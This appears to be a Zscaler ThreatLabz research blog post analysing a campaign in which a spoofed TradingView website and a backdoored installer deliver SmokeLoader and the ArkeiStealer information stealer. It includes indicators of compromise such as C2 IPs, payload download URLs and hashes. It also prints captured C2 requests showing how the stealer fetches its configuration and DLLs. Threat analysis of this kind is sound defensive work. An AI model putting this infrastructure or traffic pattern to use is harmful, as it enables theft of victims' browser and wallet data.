Blog de Zscaler

Reciba en su bandeja de entrada las últimas actualizaciones del blog de Zscaler

Suscribirse
Security Research

Trade with caution - bad guys are stealing

PALLAV KHANDHAR, SHUBHAM KHANDHAR, MATTHEW CRONIN
December 23, 2022 - 9 Min de lectura

Threats continue to evolve in their complexity and scale as cyber criminals regularly come up with new ideas and find ways to target their victims. 

Modern information stealer families such as RedLine, RecordBreaker, ArkeiStealer, Vidar, Satacom, BatLoader are often sold through Malware-as-a-Service (MaaS) models and they continuously update with their varying initial attack vectors.

ThreatLabz discovered that threat actors are now distributing ArkeiStealer through Windows Installer binaries which masquerade as a trading application. The trading application is backdoored with the SmokeLoader downloader which further downloads an information stealer. In May 2021 in a similar campaign, ThreatLabz identified a fake TradingView website and backdoored TradingView application associated with the MineBridge RAT campaign [1]

 

Key Points

  • ThreatLabz was able to flag malicious activity to an IP address based on C2 beaconing characteristics and a low domain and ASN reputation. 
  • It also discovered a recently registered domain spoofing the official TradingView website
  • It was able to identify that the actual malware was embedded inside TradingView Desktop Application
  • The actual malware and the C2 IP address flagged were identified as SmokeLoader and ArkeiStealer

 

Technical Analysis

ThreatLabz identified C2 beaconing events connected to an IP address, and the team started the threat hunting process. Following characteristics were essential in identifying and flagging the C2 beaconing activities:

  • Frequent C2 beaconing 
  • Low domain reputation
  • Newly Registered Domain

The process started with the Indicator of Attack (IoA) being flagged and the rest of the process revolved around identifying the TTP of the threat campaign.   

The IP address “85.208.136.162” was flagged as an Indicator of Attack. The ThreatLabz Threat Intel team immediately validated the IP address as a SmokeLoader C2, as shown below in the following malware configuration in Figure 1.

Figure

Figure 1: SmokeLoader Malware Configuration

 

During the threat hunting process, the ThreatLabz team analyzed network transactions in a time window around the trigger point to identify the end-to-end attack flow as shown in Figure 2. 

Figure

 

Figure 2: Complete end-to-end attack chain, used to deliver SmokeLoader and ArkeiStealer


 

While reconstructing the end-to-end attack chain, our team has identified 3 TradingView Desktop App download attempts from the following URL:

sxvlww.am.files.1drv.com/y4mqgb...ktaq/tradingvlev_x32_x64bit.zip?download&psid=1

Further analysis revealed the victim searching for the TradingView Desktop Application on the DuckDuckGo search engine, as shown below in Figure 3. 

Figure

Figure 3: TradingView search results with SEO poisoned results

On October 6th, 2022, the threat actors registered the domain "tradingview[.]business", a look-alike of the legitimate website "tradingview[.]com". At first glance, “tradingview[.]business” looks almost identical to the legitimate website.

While the real website allows users to download clients for Windows, macOS and Linux platforms, the fake website only offers a Windows application. The download link for the malicious TradingView Desktop Windows application was placed on the homepage as shown in Figure 4.

Figure

Figure 4: Legitimate vs. Fake TradingView website

 

The official and latest version of the TradingView Desktop Application was launched on October 25 2022. The malicious website, however, was registered prior to this on October 6 2022 in anticipation of the release; and the malicious TradingView Desktop Application was launched on October 31, 2022, shortly after the official release. This indicates that the threat actors are diligent in identifying and preparing for such opportunities ahead of time. In addition, they are extremely quick in developing and deploying the attack.

Comparing Whois data for both websites, we quickly validated the malicious intent of the fake website. While the original website’s Whois record is legitimate, the fake website redacts most of its registration details as shown in Figure 5. 

Figure

Figure 5: WHOIS records for the legitimate and fake TradingView domain


 

The download link (hxxps://tradingview[.]business/download.php) on the attacker-controlled domain leads to the download of a malicious Windows Installer from the following URL:

sxvlww[.]am[.]files[.]1drv[.]com/y4mqgbxmxiwuw8zm66u0rrrpceovu5hvhzmpooyrgnaaafadcqoiy-b3zjggi68kx_kt1c99vy4av6z5hznc6gumfg9hrnozccxmfiifzy6qf0rsqexsduxn06mtqzcccwb_iek8lvhu0wi-zupdr4sjpfack_tipf0psgzy5qw6ryzjdc8ny-zclsu716jxa7l1sss6r2jhl7lcdijpcktaq/tradingvlev_x32_x64bit.zip?download&psid=1

Note: 

We noticed that the download URL responds with the malicious Windows Installer only if the user-agent string in the HTTP request headers corresponds to the Windows 10 operating system. Otherwise, it responds with HTTP 404 error.

 

Performing technical analysis, we inspected the malicious TradingView Windows Desktop Application with the following information: 

Name: TradingVlev_x32_x64bit.exe
MD5: 467d42eca35c0571c30d3f20700d9dff
SHA1: e26512838e6ffb8af84743ae37821694cd380003
SHA256: 9abdfcea109db4763065fee6d3e87299f03f57dba0307c67ad10cd86f0f2acf3

 

The installer is an executable which masquerades as the TradingView Desktop Windows application and is digitally signed by AVG Technologies USA, LLC. The thumbprint of the digital signature is the following: 

ThumbPrint: 63fb7fe4f171bd6dde774ae9365d91ac132616af
CN = AVG Technologies USA, LLC
OU = RE stapler cistodc
O = AVG Technologies USA, LLC
L = Newton
S = North Carolina
C = US

Here, we compare the legitimate and fake TradingView Desktop application signatures.

Figure

Figure 6: Legitimate vs. Fake TradingView Desktop applications

 

Upon execution, this installer shows a Graphical User Interface (GUI) which spoofs the TradingView application while it performs malicious activities in the background. It drops a SmokeLoader DLL named “Scintilla.DLL” in the same folder as the TradingView installation folder. The SmokeLoader DLL then creates a copy of itself with the name “bot.exe” on the user’s desktop. 

SmokeLoader then immediately starts beaconing out to its C2 at the IP address “85.208.136.162” and receives a few download tasks, as shown below:

  • 212[.]8[.]246[.]70/builds/still[.]exe - 16857afad0b6c40469e5d9d9b63a2927
  • 212[.]8[.]246[.]70/builds/still[.]exe - 55552ed60bddd332eee8a23f0494174f
  • 212[.]8[.]246[.]70/builds/installer[.]exe - 4d7f538bf21bf0c42fee87d28d3f3079
  • 212[.]8[.]246[.]70/build/bot[.]exe - 0743250f8bb1a0baa01affcfd963d171

ZScaler ThreatLabz has identified all 4 payloads as ArkeiStealer. ArkeiStealer is an information stealer malware family that was first identified in May 2018. ArkeiStealer is a stealthy and flexible information stealer that is known to harvest confidential data from web browsers, cryptocurrency wallets, and search files for attacker-defined patterns. ArkeiStealer was later forked to create a new variant named Vidar Stealer

This ArkeiStealer payload first obtains its configuration file from the C2 as shown below:

GET /1769 HTTP/1.1
Host: 95.217.31.208


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 26 Nov 2022 15:21:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

1,1,0,1,0,30e8151b350f29168e37e1eea06ed1b4,1,1,1,0,0,Default;%DOCUMENTS%\;*.txt;50;4;movies:music:mp3:exe;DESKTOP;%DESKTOP%\;*.txt;50;4;movies:music:mp3:exe;

 

The ArkeiStealer configuration carries multiple flags. It performs distinct malicious activities depending on the flags that are set in the configuration. The usage of a dynamic configuration provides flexibility to extend the malware’s capabilities at any stage of the campaign. 

As shown below, ArkeiStealer immediately begins downloading well-known and legitimate DLLs in a ZIP bundle that are required to fully execute its tasks. 

GET /547345733334.zip HTTP/1.1
Host: 95.217.31.208
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 26 Nov 2022 15:21:14 GMT
Content-Type: application/zip
Content-Length: 2685679
Last-Modified: Mon, 12 Sep 2022 13:14:59 GMT
Connection: keep-alive
ETag: "631f30d3-28faef"
Accept-Ranges: bytes

These DLLs are typically used by ArkeiStealer to read information from web browsers. ArkeiStealer downloads and stores below DLLs into the %\ProgramData\% directory. 

 

Name

Description

sqlite3.dll

SQLite Database Management DLL

freebl3.dll

Freebl Network Security Service DLL for Mozilla Firefox

mozglue.dll

Browser Library for Mozilla Firefox

nss3.dll

Network System Service DLL for Mozilla Firefox

softokn3.dll

Part of Network Security Service for Mozilla Firefox

msvcp140.dll

MS Visual Studio component

vcruntime140.dll

Runtime Library for Visual Studio

 

Conclusions 

Information stealing is extremely rewarding for threat actors especially when storing financial and personal information in web browsers is becoming common. Use of legitimate DLL components to perform browser information enumeration and use of dynamic configuration allows ArkeiStealer threat actors to tailor their operation and choose the information they want to steal from the victim. 

At Zscaler, ThreatLabz team works closely with security research, security engineering and ML scientists to develop tools that augment and empower security teams in tackling complex and evasive threats. After successfully detecting C2 traffic to a malicious server, it was further passed to the Threat Hunting team for end-to-end atack chain construction. The team successfully created an end-to-end attack chain identifying all infection stages which consisted of a DuckDuckGo search, a fake TradingView website, a backdoored TradingView Windows application download, SmokeLoader C2 beaconing and the ArkeiStealer download and C2 beaconing.

 

ZScaler Cloud Sandbox Report

Figure

Figure 7: ArkeiStealer Cloud Sandbox Report

 

In addition to cloud sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. The Machine Learning Threat Detection Model assists in identifying emerging threats, automatically blocking those with the highest risk scores, and ranking suspicious candidates for further review. 

 

MITRE ATT&CK TTP Mapping

 

ID

Tactic

Technique

T1203

Exploitation for Client Execution

Benign windows process is dropping new PE files

T1574.002

DLL Side-Loading

Tries to load missing DLLs

T1055

Privilege Escalation

Injects code into the Windows Explorer

T1036

Defense Evasion

Creates files inside the user directory

T1070.004

File Deletion

Deletes itself after installation

T1497

Virtualization/Sandbox Evasion

Checks for kernel code integrity

T1564.001

Hidden Files and Directories

Hides that the sample has been downloaded from the Internet

T1010

Discovery

Application Window Discovery

T1057

Process Discovery

Verifies the name of parent process

T1082

System Information Discovery

Gathers system OS version info

T1518.001

Security Software Discovery

Checks if the current machine is a virtual machine

Checks if the current process is being debugged

T1071

Application Layer Protocol: Web protocol

Posts data to web server

C2 URLs/IPs found in malware configuration

T1095

Non-Application Layer Protocol:

Tries to download or post to a non-existing http route

T1105

Ingress Tool Transfer

Some HTTP requests failed with 404. Part of communication protocol

 

 

Indicators of Compromise

 

Indicators

Description

TradingVlev_x32_x64bit.zip

Fake TradingView Desktop Application Download

fc99ea424df48f2b661219b71f33b979

MD5 of Fake TradingView Desktop Application

1a70718eefa2aef42f4b09577aea7b43ff874e02

SHA1 of Fake TradingView Desktop Application

f4c166dddefd29eb457d0a7b426928b1123626c6c1568bc998440dac72a816b7

SHA256 of Fake TradingView Desktop Application

TradingVlev_x32_x64bit.exe

Fake TradingView Desktop Application

467d42eca35c0571c30d3f20700d9dff

MD5 of Fake TradingView Desktop Application

e26512838e6ffb8af84743ae37821694cd380003

SHA1 of Fake TradingView Desktop Application

9abdfcea109db4763065fee6d3e87299f03f57dba0307c67ad10cd86f0f2acf3

SHA256 of Fake TradingView Desktop Application

85.208.136.162

SmokeLoader C2

sxvlww.am.files.1drv.com

Fake TradingView Application Distribution Domain

tradingview.business

Fake TradingView look-alike website

hxxps://tradingview[.]business/download.php

Fake TradingView download URL

212[.]8[.]246[.]70/builds/still[.]exe

ArkeiStealer download URL

212[.]8[.]246[.]70/builds/installer[.]exe

ArkeiStealer download URL

212[.]8[.]246[.]70/builds/bot[.]exe

ArkeiStealer download URL

4d7f538bf21bf0c42fee87d28d3f3079

ArkeiStealer payload

55552ed60bddd332eee8a23f0494174f

ArkeiStealer payload

16857afad0b6c40469e5d9d9b63a2927

ArkeiStealer payload

0743250f8bb1a0baa01affcfd963d171

ArkeiStealer payload


 

References

[1] “Demystifying the full attack chain of MineBridge RAT”, https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat

 

form submtited
Gracias por leer

¿Este post ha sido útil?

Reciba las últimas actualizaciones del blog de Zscaler en su bandeja de entrada

Al enviar el formulario, acepta nuestra política de privacidad.